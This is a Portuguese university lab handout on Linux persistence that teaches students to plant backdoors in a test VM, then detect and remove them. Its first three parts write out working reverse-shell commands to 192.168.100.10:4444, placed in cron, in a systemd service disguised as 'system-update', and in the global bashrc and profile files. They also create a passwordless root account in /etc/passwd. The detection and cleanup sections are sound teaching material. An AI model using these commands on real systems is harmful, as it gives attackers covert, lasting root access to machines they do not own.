Lab 9.3: Persistência e Backdoors Linux
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Implementar múltiplas técnicas de persistência em Linux
- Criar backdoors que sobrevivem ao reboot
- Modificar arquivos de sistema para manter o acesso
- Utilizar systemd para persistência
- Esconder processos e arquivos
- Detectar persistência em um sistema Linux
- Limpar um sistema comprometido
Duração Estimada
35 minutos
Pré-requisitos
- VM Linux (Ubuntu/Debian)
- Acesso root (obtido via Lab 9.1)
- Labs 9.1 e 9.2 completos
- Compreensão de cron, systemd, bash
Contexto Profissional
Após obter acesso root, o atacante deseja:
- Manter o acesso mesmo após reboot
- Sobreviver a atualizações do sistema
- Permanecer indetectável o maior tempo possível
Técnicas de persistência usadas por:
- Grupos APT para acesso de longo prazo
- Ransomware para reinfecção
- Botnets para controle permanente
AVISO ÉTICO E LEGAL
Instalar backdoors em sistemas sem autorização = Crime grave.
AUTORIZADO: Apenas VMs de teste
PROIBIDO: Sistemas reais sem permissão
Parte 1: Cron Jobs Maliciosos
Crontab do Usuário
Adicionar tarefa oculta:
(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -
Execução: A cada inicialização!
Cron do Sistema (Root)
Arquivo /etc/crontab:
echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab
Execução: A cada 10 minutos como root!
Perguntas:
- O cron job sobreviveu ao reboot?
- Ele é visível para um usuário comum?
Parte 2: Serviços systemd
Criar Serviço Malicioso
Arquivo /etc/systemd/system/system-update.service:
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
Ativar:
systemctl enable system-update.service
systemctl start system-update.service
Reverse shell executa como serviço do sistema!
Verificar:
systemctl status system-update
Aparece como serviço legítimo!
Parte 3: Modificação de Arquivos de Sistema
Bashrc Global
Arquivo /etc/bash.bashrc:
echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc
Cada terminal aberto: Reverse shell!
Perfil SSH
Arquivo /etc/profile:
echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile
Modificação do /etc/passwd
Criar conta root sem senha:
echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd
Login:
su backdoor
Nenhuma senha solicitada, você é root!
Perguntas: 3. O backdoor no bashrc funcionou? 4. A conta backdoor sem senha funciona?
Parte 4: Detecção
Procurar Cron Jobs Suspeitos
# Crontabs dos usuários
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
# Cron do sistema
cat /etc/crontab
ls -la /etc/cron.*
Procurar Serviços Suspeitos
systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled
Verificar Arquivos Modificados
# Bashrc modificado recentemente
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc
# Comparar com baseline
dpkg -V bash
Procurar Contas Suspeitas
cat /etc/passwd | grep :0:
Se outro além de root tem UID 0: Backdoor!
Perguntas: 5. Quantos backdoors você detectou? 6. Como automatizar a detecção?
Parte 5: Limpeza
Remover Persistência
# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab
# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service
# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc
# Conta
sed -i '/backdoor/d' /etc/passwd
Entregáveis
- Relatório com 3 métodos de persistência testados
- Prova de sobrevivência ao reboot
- Script de detecção automatizado
- Procedimento de limpeza
Conclusão
Técnicas dominadas:
- Cron jobs maliciosos
- Backdoors em serviços systemd
- Modificação de arquivos de sistema
- Persistência por chave SSH
- Detecção e limpeza
Combinado com Labs 9.1 e 9.2:
- Escalada de usuário → root
- Reverse shell
- Persistência permanente
Cadeia de ataque Linux completa!
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 9